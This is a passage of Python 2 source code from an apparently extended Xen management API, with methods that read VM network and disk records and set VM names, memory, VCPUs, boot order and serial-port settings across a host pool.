VM_get_network_record(self, session, vm_ref, vif): ''' @author: wuyuewen @summary: Get network record, this method is a instead of network_get_record() use in Pool. @param session: session of RPC. @param vm_ref: uuid @param vif: VIF uuid @return: network record struct. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: xenapi = self._get_XendAPI_instance() bridge = self._VIF_get(vif, "bridge").get('Value') list_network = xenapi.network_get_by_name_label(session, bridge).get('Value') if not list_network: return xen_api_error(['NETWORK_NOT_EXISTS']) net_ref = list_network[0] net = XendAPIStore.get(net_ref, "network") return xen_api_success(net.get_record()) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_get_network_record", vm_ref, vif) else: xenapi = self._get_XendAPI_instance() bridge = self._VIF_get(vif, "bridge").get('Value') list_network = xenapi.network_get_by_name_label(session, bridge).get('Value') if not list_network: return xen_api_error(['NETWORK_NOT_EXISTS']) net_ref = list_network[0] net = XendAPIStore.get(net_ref, "network") return xen_api_success(net.get_record()) def VM_get_VBD_record(self, session, vm_ref, vbd_ref): ''' @author: wuyuewen @summary: Get VBD record, this method is a instead of VBD_get_record() use in Pool. @param session: session of RPC. @param vm_ref: uuid @param vbd_ref: VBD uuid @return: VBD record struct. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self.VBD_get_record(session, vbd_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VBD_get_record", vbd_ref) else: return self.VBD_get_record(session, vbd_ref) def VM_get_system_VDI(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VDI that VM's system VBD linked, VM->VBD(VM's disk)->VDI(Storage management). @precondition: VM has system VBD device. @param session: session of RPC. @param vm_ref: uuid @return: VDI. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_system_VDI(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "VM_get_system_VDI", vm_ref) else: return self._VM_get_system_VDI(session, vm_ref) def _VM_get_system_VDI(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VDI that VM's system VBD linked, VM->VBD(VM's disk)->VDI(Storage management). @precondition: VM has system VBD device. @param session: session of RPC. @param vm_ref: uuid @return: VDI. @rtype: dict. ''' vbds = self._VM_get_VBDs(session, vm_ref).get('Value', []) sys_vbd = '' sys_vdi = '' if vbds: for vbd in vbds: bootable = self.VBD_get_bootable(session, vbd).get('Value', False) vbd_type = self.VBD_get_type(session, vbd).get('Value', '') if bootable and cmp(vbd_type, 'Disk') == 0: sys_vbd = vbd break if sys_vbd: sys_vdi = self.VBD_get_VDI(session, sys_vbd).get('Value', '') return xen_api_success(sys_vdi) def VM_set_name_label(self, session, vm_ref, label): ''' @author: wuyuewen @summary: Set VM's name label. @precondition: Only support english, param <label> has no special character except "_" "-" ".". @param session: session of RPC. @param vm_ref: uuid @param label: name label to change. @return: True | False @rtype: dict. @raise xen_api_error: VM error ''' try: if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: self._VM_set_name_label(session, vm_ref, label) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) xen_rpc_call(remote_ip, 'VM_set_name_label', vm_ref, label) return xen_api_success_void() else: return self._VM_set_name_label(session, vm_ref, label) except VmError, e: return xen_api_error(['VM error: ', e]) def _VM_set_name_label(self, session, vm_ref, label): ''' @author: wuyuewen @summary: Internal method. Set VM's name label. @precondition: Only support english, param <label> has no special character except "_" "-" ".". @param session: session of RPC. @param vm_ref: uuid @param label: name label to change. @return: True | False @rtype: dict. @raise xen_api_error: VM error ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) dom.setName(label) self._VM_save(dom) return xen_api_success_void() def VM_set_name_description(self, session, vm_ref, desc): ''' @author: wuyuewen @summary: Set VM's name description. @precondition: Only support english, param <desc> has no special character except "_" "-" ".". @param session: session of RPC. @param vm_ref: uuid @param desc: name description to change. @return: True | False @rtype: dict. @raise xen_api_error: VM error ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_name_description(session, vm_ref, desc) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_name_description', vm_ref, desc) else: return self._VM_set_name_description(session, vm_ref, desc) def _VM_set_name_description(self, session, vm_ref, desc): ''' @author: wuyuewen @summary: Internal method. Set VM's name description. @precondition: Only support english, param <desc> has no special character except "_" "-" ".". @param session: session of RPC. @param vm_ref: uuid @param desc: name description to change. @return: True | False @rtype: dict. @raise xen_api_error: VM error ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) dom.setNameDescription(desc) self._VM_save(dom) return xen_api_success_void() def VM_set_user_version(self, session, vm_ref, ver): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) return xen_api_todo() def VM_set_is_a_template(self, session, vm_ref, is_template): ''' @author: wuyuewen @summary: Change a VM to VM template, or change a VM template to VM. @precondition: VM not running. @param session: session of RPC. @param vm_ref: uuid @param is_template: True | False @return: True | False @rtype: dict. @raise xen_api_error: VM_BAD_POWER_STATE ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) host_ip = BNPoolAPI.get_host_ip(host_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_is_a_template(session, vm_ref, is_template) else: return xen_rpc_call(host_ip, 'VM_set_is_a_template', vm_ref, is_template) else: return self._VM_set_is_a_template(session, vm_ref, is_template) def _VM_set_is_a_template(self, session, vm_ref, is_template): ''' @author: wuyuewen @summary: Internal method. Change a VM to VM template, or change a VM template to VM. @precondition: VM not running. @param session: session of RPC. @param vm_ref: uuid @param is_template: True | False @return: True | False @rtype: dict. @raise xen_api_error: VM_BAD_POWER_STATE ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) if dom._stateGet() == XEN_API_VM_POWER_STATE_RUNNING: return xen_api_error( ['VM_BAD_POWER_STATE', vm_ref, XendDomain.POWER_STATE_NAMES[XEN_API_VM_POWER_STATE_RUNNING], XendDomain.POWER_STATE_NAMES[dom._stateGet()]]) dom.set_is_a_template(is_template) self.VM_save(dom) return xen_api_success_void() # #Mapping intranet ip address to outer net ip address. # def VM_set_ip_map(self, session, vm_ref, vif): # if BNPoolAPI._isMaster: # host_ref = BNPoolAPI.get_host_by_vm(vm_ref) # if cmp(host_ref, XendNode.instance().uuid) == 0: # return self._VM_set_ip_map(session, vm_ref, vif) # else: # host_ip = BNPoolAPI.get_host_ip(host_ref) # return xen_rpc_call(host_ip, 'VM_set_ip_map', vm_ref, vif) # else: # return self._VM_set_ip_map(session, vm_ref, vif) # # def _VM_set_ip_map(self, session, vm_ref, vif): # mac = None # mac_rec = self.VIF_get_MAC(session, vif) # if mac_rec.get('Status') == 'Success': # mac = mac_rec.get('Value') # if mac: # dom = XendDomain.instance().get_vm_by_uuid(vm_ref) # dom.set_ip_map(mac) # return xen_api_success(self._VM_save(dom)) # else: # log.error('Can not get MAC from vif.') # return xen_api_error(['Get MAC from vif failed!VM:', vm_ref]) # def VM_del_ip_map(self, session, vm_ref, vif): # if BNPoolAPI._isMaster: # host_ref = BNPoolAPI.get_host_by_vm(vm_ref) # if cmp(host_ref, XendNode.instance().uuid) == 0: # return self._VM_del_ip_map(session, vm_ref, vif) # else: # host_ip = BNPoolAPI.get_host_ip(host_ref) # return xen_rpc_call(host_ip, 'VM_del_ip_map', vm_ref, vif) # else: # return self._VM_del_ip_map(session, vm_ref, vif) # # def _VM_del_ip_map(self, session, vm_ref, vif): # mac = None # mac_rec = self.VIF_get_MAC(session, vif) # if mac_rec.get('Status') == 'Success': # mac = mac_rec.get('Value') # if mac: # dom = XendDomain.instance().get_vm_by_uuid(vm_ref) # dom.set_ip_map(mac, True) # return xen_api_success(self._VM_save(dom)) # else: # log.error('Can not get MAC from vif.') # return xen_api_error(['Get MAC from vif failed!VM:', vm_ref]) def VM_set_auto_power_on(self, session, vm_ref, val): ''' @deprecated: not used ''' return self.VM_set('auto_power_on', session, vm_ref, val) def VM_set_memory_dynamic_max(self, session, vm_ref, mem): ''' @author: wuyuewen @summary: Set VM's memory dynamic max. @precondition: VM not running, memory dynamic max > 0, memory dynamic max <= memory static max. @param session: session of RPC. @param vm_ref: uuid @param mem: memory(Bytes) @return: True | False. @rtype: dict. @raise XendConfigError: ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_memory_dynamic_max(session, vm_ref, mem) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_set_memory_dynamic_max', vm_ref, mem) else: return self._VM_set_memory_dynamic_max(session, vm_ref, mem) def _VM_set_memory_dynamic_max(self, session, vm_ref, mem): ''' @author: wuyuewen @summary: Internal method. Set VM's memory dynamic max. @precondition: VM not running, memory dynamic max > 0, memory dynamic max <= memory static max. @param session: session of RPC. @param vm_ref: uuid @param mem: memory(Bytes) @return: True | False. @rtype: dict. @raise XendConfigError: ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) dom.set_memory_dynamic_max(int(mem)) return self._VM_save(dom) def VM_set_memory_dynamic_min(self, session, vm_ref, mem): ''' @author: wuyuewen @summary: Set VM's memory dynamic min. @precondition: VM not running, memory dynamic min >= memory static min. @param session: session of RPC. @param vm_ref: uuid @param mem: memory(Bytes) @return: True | False. @rtype: dict. @raise XendConfigError: ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_memory_dynamic_min(session, vm_ref, mem) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_set_memory_dynamic_min', vm_ref, mem) else: return self._VM_set_memory_dynamic_min(session, vm_ref, mem) def _VM_set_memory_dynamic_min(self, session, vm_ref, mem): ''' @author: wuyuewen @summary: Internal method. Set VM's memory dynamic min. @precondition: VM not running, memory dynamic min >= memory static min. @param session: session of RPC. @param vm_ref: uuid @param mem: memory(Bytes) @return: True | False. @rtype: dict. @raise XendConfigError: ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) dom.set_memory_dynamic_min(int(mem)) return self._VM_save(dom) def VM_set_memory_static_max(self, session, vm_ref, mem): ''' @author: wuyuewen @summary: Set VM's memory static max. @precondition: VM not running, memory static max > 0, memory dynamic max <= memory static max. @param session: session of RPC. @param vm_ref: uuid @param mem: memory(Bytes) @return: True | False. @rtype: dict. @raise XendConfigError: ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_memory_static_max(session, vm_ref, mem) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_set_memory_static_max', vm_ref, mem) else: return self._VM_set_memory_static_max(session, vm_ref, mem) def _VM_set_memory_static_max(self, session, vm_ref, mem): ''' @author: wuyuewen @summary: Internal method. Set VM's memory static max. @precondition: VM not running, memory static max > 0, memory dynamic max <= memory static max. @param session: session of RPC. @param vm_ref: uuid @param mem: memory(Bytes) @return: True | False. @rtype: dict. @raise XendConfigError: ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) dom.set_memory_static_max(int(mem)) return self._VM_save(dom) def VM_set_memory_static_min(self, session, vm_ref, mem): ''' @author: wuyuewen @summary: Set VM's memory static min. @precondition: VM not running, memory dynamic min >= memory static min. @param session: session of RPC. @param vm_ref: uuid @param mem: memory(Bytes) @return: True | False. @rtype: dict. @raise XendConfigError: ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_memory_static_min(session, vm_ref, mem) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_set_memory_static_min', vm_ref, mem) else: return self._VM_set_memory_static_min(session, vm_ref, mem) def _VM_set_memory_static_min(self, session, vm_ref, mem): ''' @author: wuyuewen @summary: Internal method. Set VM's memory static min. @precondition: VM not running, memory dynamic min >= memory static min. @param session: session of RPC. @param vm_ref: uuid @param mem: memory(Bytes) @return: True | False. @rtype: dict. @raise XendConfigError: ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) dom.set_memory_static_min(int(mem)) return self._VM_save(dom) def VM_set_memory_dynamic_max_live(self, session, vm_ref, mem): ''' @author: wuyuewen @summary: Set VM's memory dynamic max when VM is running. @precondition: memory dynamic max > 0, memory dynamic max <= memory static max. @param session: session of RPC. @param vm_ref: uuid @param mem: memory(Bytes) @return: True | False. @rtype: dict. @raise XendConfigError: ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_memory_dynamic_max_live(session, vm_ref, mem) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_set_memory_dynamic_max_live', vm_ref, mem) else: return self._VM_set_memory_dynamic_max_live(session, vm_ref, mem) def _VM_set_memory_dynamic_max_live(self, session, vm_ref, mem): ''' @author: wuyuewen @summary: Internal method. Set VM's memory dynamic max when VM is running. @precondition: memory dynamic max > 0, memory dynamic max <= memory static max. @param session: session of RPC. @param vm_ref: uuid @param mem: memory(Bytes) @return: True | False. @rtype: dict. @raise XendConfigError: ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) log.debug(int(mem)) dom.set_memory_dynamic_max(int(mem)) # need to pass target as MiB dom.setMemoryTarget(int(mem)/1024/1024) return xen_api_success_void() def VM_set_memory_dynamic_min_live(self, session, vm_ref, mem): ''' @author: wuyuewen @summary: Set VM's memory dynamic min when VM is running. @precondition: memory dynamic min >= memory static min. @param session: session of RPC. @param vm_ref: uuid @param mem: memory(Bytes) @return: True | False. @rtype: dict. @raise XendConfigError: ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_memory_dynamic_min_live(session, vm_ref, mem) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_set_memory_dynamic_min_live', vm_ref, mem) else: return self._VM_set_memory_dynamic_min_live(session, vm_ref, mem) def _VM_set_memory_dynamic_min_live(self, session, vm_ref, mem): ''' @author: wuyuewen @summary: Internal method. Set VM's memory dynamic min when VM is running. @precondition: memory dynamic min >= memory static min. @param session: session of RPC. @param vm_ref: uuid @param mem: memory(Bytes) @return: True | False. @rtype: dict. @raise XendConfigError: ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) dom.set_memory_dynamic_min(int(mem)) # need to pass target as MiB dom.setMemoryTarget(int(mem) / 1024 / 1024) return xen_api_success_void() def VM_set_VCPUs_params(self, session, vm_ref, value): ''' @deprecated: not used ''' return self.VM_set('vcpus_params', session, vm_ref, value) def VM_add_to_VCPUs_params(self, session, vm_ref, key, value): ''' @deprecated: not used ''' log.debug('in VM_add_to_VCPUs_params') dom = XendDomain.instance().get_vm_by_uuid(vm_ref) if 'vcpus_params' not in dom.info: dom.info['vcpus_params'] = {} dom.info['vcpus_params'][key] = value return self._VM_save(dom) def VM_add_to_VCPUs_params_live(self, session, vm_ref, key, value): ''' @deprecated: not used ''' self.VM_add_to_VCPUs_params(session, vm_ref, key, value) self._VM_VCPUs_params_refresh(vm_ref) return xen_api_success_void() def _VM_VCPUs_params_refresh(self, vm_ref): ''' @deprecated: not used ''' xendom = XendDomain.instance() xeninfo = xendom.get_vm_by_uuid(vm_ref) #update the cpumaps for key, value in xeninfo.info['vcpus_params'].items(): if key.startswith("cpumap"): log.debug(key) if len(key) == 6: continue vcpu = int(key[6:]) try: cpus = map(int, value.split(",")) xendom.domain_pincpu(xeninfo.getDomid(), vcpu, value) except Exception, ex: log.exception(ex) #need to update sched params aswell if 'weight' in xeninfo.info['vcpus_params'] \ and 'cap' in xeninfo.info['vcpus_params']: weight = xeninfo.info['vcpus_params']['weight'] xendom.domain_sched_credit_set(xeninfo.getDomid(), weight) def VM_set_VCPUs_number_live(self, _, vm_ref, num): ''' @author: wuyuewen @summary: Set VM's VCPUs number when VM is running. @precondition: num > 0, num < max_cpu_limit(see /etc/xen/setting). @param session: session of RPC. @param vm_ref: uuid @param num: num of VCPU @return: True | False. @rtype: dict. @raise XendError: ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_VCPUs_number_live(_, vm_ref, num) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_VCPUs_number_live', vm_ref, num) else: return self._VM_set_VCPUs_number_live(_, vm_ref, num) def _VM_set_VCPUs_number_live(self, _, vm_ref, num): ''' @author: wuyuewen @summary: Internal method. Set VM's VCPUs number when VM is running. @precondition: num > 0, num < max_cpu_limit(see /etc/xen/setting). @param session: session of RPC. @param vm_ref: uuid @param num: num of VCPU @return: True | False. @rtype: dict. @raise XendError: ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) dom.setVCpuCount(int(num)) return xen_api_success_void() def VM_remove_from_VCPUs_params(self, session, vm_ref, key): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) if 'vcpus_params' in dom.info \ and key in dom.info['vcpus_params']: del dom.info['vcpus_params'][key] return self._VM_save(dom) else: return xen_api_success_void() def VM_set_VCPUs_at_startup(self, session, vm_ref, num): ''' @author: wuyuewen @summary: Set VM's VCPUs when vm startup. @todo: do not work @precondition: VM not running, num > 0, num < max_cpu_limit(see /etc/xen/setting). @param session: session of RPC. @param vm_ref: uuid @param num: num of VCPU @return: True | False. @rtype: dict. @raise XendError: ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_VCPUs_at_startup(session, vm_ref, num) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_VCPUs_at_startup', vm_ref, num) else: return self._VM_set_VCPUs_at_startup(session, vm_ref, num) def _VM_set_VCPUs_at_startup(self, session, vm_ref, num): ''' @author: wuyuewen @summary: Internal method. Set VM's VCPUs when vm startup. @todo: do not work @precondition: VM not running, num > 0, num < max_cpu_limit(see /etc/xen/setting). @param session: session of RPC. @param vm_ref: uuid @param num: num of VCPU @return: True | False. @rtype: dict. @raise XendError: ''' return self.VM_set('VCPUs_at_startup', session, vm_ref, num) def VM_set_VCPUs_max(self, session, vm_ref, num): ''' @author: wuyuewen @summary: Internal method. Set VM's VCPUs number. @precondition: VM not running, num > 0, num < max_cpu_limit(see /etc/xen/setting). @param session: session of RPC. @param vm_ref: uuid @param num: num of VCPU @return: True | False. @rtype: dict. @raise XendError: ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_VCPUs_max(session, vm_ref, num) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_VCPUs_max', vm_ref, num) else: return self._VM_set_VCPUs_max(session, vm_ref, num) def _VM_set_VCPUs_max(self, session, vm_ref, num): ''' @author: wuyuewen @summary: Internal method. Set VM's VCPUs number. @precondition: VM not running, num > 0, num < max_cpu_limit(see /etc/xen/setting). @param session: session of RPC. @param vm_ref: uuid @param num: num of VCPU @return: True | False. @rtype: dict. @raise XendError: ''' dominfo = XendDomain.instance().get_vm_by_uuid(vm_ref) dominfo.setVCpuCount(int(num)) return xen_api_success_void() # return self.VM_set('VCPUs_max', session, vm_ref, num) def VM_set_actions_after_shutdown(self, session, vm_ref, action): ''' @deprecated: not used ''' if action not in XEN_API_ON_NORMAL_EXIT: return xen_api_error(['VM_ON_NORMAL_EXIT_INVALID', vm_ref]) return self.VM_set('actions_after_shutdown', session, vm_ref, action) def VM_set_actions_after_reboot(self, session, vm_ref, action): ''' @deprecated: not used ''' if action not in XEN_API_ON_NORMAL_EXIT: return xen_api_error(['VM_ON_NORMAL_EXIT_INVALID', vm_ref]) return self.VM_set('actions_after_reboot', session, vm_ref, action) def VM_set_actions_after_suspend(self, session, vm_ref, action): ''' @deprecated: not used ''' if action not in XEN_API_ON_NORMAL_EXIT: return xen_api_error(['VM_ON_NORMAL_EXIT_INVALID', vm_ref]) return self.VM_set('actions_after_suspend', session, vm_ref, action) def VM_set_actions_after_crash(self, session, vm_ref, action): ''' @deprecated: not used ''' if action not in XEN_API_ON_CRASH_BEHAVIOUR: return xen_api_error(['VM_ON_CRASH_BEHAVIOUR_INVALID', vm_ref]) return self.VM_set('actions_after_crash', session, vm_ref, action) # edit by wufan # value :cd ,boot from disk # value :dc , boot from cdrom # change when vm is not running def VM_set_boot_order(self, session, vm_ref, value): ''' @author: wuyuewen @summary: Set VM's boot priority, value=cd means boot from disk, value=dc means boot from cdrom. @precondition: VM not running. @param session: session of RPC. @param vm_ref: uuid @param value: cd/dc @return: True | False. @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_boot_order(session, vm_ref, value) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_boot_order', vm_ref, value) else: return self._VM_set_boot_order(session, vm_ref, value) def _VM_set_boot_order(self, session, vm_ref, value): ''' @author: wuyuewen @summary: Internal method. Set VM's boot priority, value=cd means boot from disk, value=dc means boot from cdrom. @precondition: VM not running. @param session: session of RPC. @param vm_ref: uuid @param value: cd/dc @return: True | False. @rtype: dict. ''' log.debug('set boot order: %s' % value) # VM_add_to_HVM_boot_params dom = XendDomain.instance().get_vm_by_uuid(vm_ref) if 'HVM_boot_params' not in dom.info: dom.info['HVM_boot_params'] = {} dom.info['HVM_boot_params']['order'] = value # VM_add_to_platform plat = dom.get_platform() plat['boot'] = value dom.info['platform'] = plat # VM_set_HVM_boot_policy dom.info['HVM_boot_policy'] = 'BIOS order' return self._VM_save(dom) # get serial path on host def VM_get_platform_serial(self, session, vm_ref): ''' @author: wuyuewen @summary: Get Host TCP port of VM's platform serial. @param session: session of RPC. @param vm_ref: uuid @return: True | False. @rtype: dict. ''' log.debug('VM get platform serial') if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_platform_serial(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_platform_serial', vm_ref) else: return self._VM_get_platform_serial(session, vm_ref) # get serial devices in platform def _VM_get_platform_serial(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get Host TCP port of VM's platform serial. @param session: session of RPC. @param vm_ref: uuid @return: True | False. @rtype: dict. ''' # get serial file path try: dom = XendDomain.instance().get_vm_by_uuid(vm_ref) plat = dom.get_platform() value = plat.get('serial') index = value.find('tcp:127.0.0.1:') retv = () if index != -1: port = value[index+14:19] retv = ('127.0.0.1', port) return xen_api_success(retv) except Exception, exn: log.exception(exn) return xen_api_error('get serial path failed') # set serial devices in platform # eg: serial pipe:/tmp/fifotest def VM_set_platform_serial(self, session, vm_ref): ''' @author: wuyuewen @summary: Auto find and set a vailed Host TCP port to VM's platform serial, the port range is 14000-15000, see PORTS_FOR_SERIAL. @param session: session of RPC. @param vm_ref: uuid @return: True | False. @rtype: dict. @raise xen_api_error: ''' log.debug('VM_set_platform_serial') if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_platform_serial(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_platform_serial', vm_ref) else: return self._VM_set_platform_serial(session, vm_ref) # set serial devices in platform def _VM_set_platform_serial(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Auto find and set a vailed Host TCP port to VM's platform serial, the port range is 14000-15000, see PORTS_FOR_SERIAL. @param session: session of RPC. @param vm_ref: uuid @return: True | False. @rtype: dict. @raise xen_api_error: ''' # get serial file path # save in the same path with boot vbd try: xennode = XendNode.instance() sysvdi_path = xennode.get_sysvdi_path_by_vm(vm_ref) if sysvdi_path == '': log.debug('Invalid system vdi path in vm_ref: %s' % vm_ref) return xen_api_error("Invalid system vdi path") # file_name = 'pipe.out' # SERIAL_FILE = "%s/%s" % (sysvdi_path, file_name) # if not os.path.exists(SERIAL_FILE): # os.system("/usr/bin/mkfifo %s" % SERIAL_FILE) # # serial_value = 'pipe:%s' % SERIAL_FILE # log.debug('set serial value: %s' % serial_value) dom = XendDomain.instance().get_vm_by_uuid(vm_ref) avail_port = dom.get_free_port() serial_value = 'tcp:127.0.0.1:%s,server,nowait' % avail_port log.debug('set serial value: %s' % serial_value) plat = dom.get_platform() # log.debug('origin platform serial: %s' % plat['serial']) plat['serial'] = serial_value dom.info['platform'] = plat return self._VM_save(dom) except Exception, exn: log.debug(exn) return xen_api_error('create serial failed') def VM_send_request_via_serial(self, session, vm_ref, json_obj, flag): ''' @author: wuyuewen @summary: Send a request into VM's system use serial device. @precondition: VM is running, has a serial device, already installed a serial Agent in VM's system. @param session: session of RPC. @param vm_ref: uuid @param json_obj: serial request value use json object. @param flag: True | False, do/don't checkout whether serial Agent is running in VM or not. @return: True | False. @rtype: dict. ''' log.debug('VM send request via serial') if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_send_request_via_serial(session, vm_ref, json_obj, flag) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_send_request_via_serial', vm_ref, json_obj, flag) else: return self._VM_send_request_via_serial(session, vm_ref, json_obj, flag) def _VM_send_request_via_serial(self, session, vm_ref, json_obj, flag): ''' @author: wuyuewen @summary: Internal method. Send a request into VM's system use serial device. @precondition: VM is running, has a serial device, already installed a serial Agent in VM's system. @param session: session of RPC. @param vm_ref: uuid @param json_obj: serial request value use json object. @param flag: True | False, do/don't checkout whether serial Agent is running in VM or not. @return: True | False. @rtype: dict. ''' try: response = self._VM_get_platform_serial(session, vm_ref) if cmp(response['Status'], 'Failure') == 0: return xen_api_success(False) address = response.get('Value') if not address: log.error('VM serial not correct!') return xen_api_success(False) (ip, port) = address retv = Netctl.serial_opt(ip, port, json_obj, flag) if retv: return xen_api_success(True) else: return xen_api_success(False) except Exception ,exn: log.exception(exn) return xen_api_success(False) # edit by wufan def VM_set_HVM_boot_policy(self, session, vm_ref, value): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_HVM_boot_policy(session, vm_ref, value) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_HVM_boot_policy', vm_ref, value) else: return self._VM_set_HVM_boot_policy(session, vm_ref, value) def _VM_set_HVM_boot_policy(self, session, vm_ref, value): ''' @deprecated: not used ''' if value != "" and value != "BIOS order": return xen_api_error( ['VALUE_NOT_SUPPORTED', 'VM.HVM_boot_policy', value, 'Xend supports only the "BIOS order" boot policy.']) else: return self.VM_set('HVM_boot_policy', session, vm_ref, value) def VM_set_HVM_boot_params(self, session, vm_ref, value): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_set_HVM_boot_params(session, vm_ref, value) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_set_HVM_boot_params', vm_ref, value) else: return self._VM_set_HVM_boot_params(session, vm_ref, value) def _VM_set_HVM_boot_params(self, session, vm_ref, value): ''' @deprecated: not used ''' return self.VM_set('HVM_boot_params', session, vm_ref, value) def VM_add_to_HVM_boot_params(self, session, vm_ref, key, value): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_add_to_HVM_boot_params(session, vm_ref, key, value) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_add_to_HVM_boot_params', vm_ref, key, value) else: return self._VM_add_to_HVM_boot_params(session, vm_ref, key, value) def _VM_add_to_HVM_boot_params(self, session, vm_ref, key, value): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) if 'HVM_boot_params' not in dom.info: dom.info['HVM_boot_params'] = {} dom.info['HVM_boot_params'][key] = value return self._VM_save(dom) def VM_remove_from_HVM_boot_params(self, session, vm_ref, key): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_remove_from_HVM_boot_params(session, vm_ref, key) else: remote_ip = 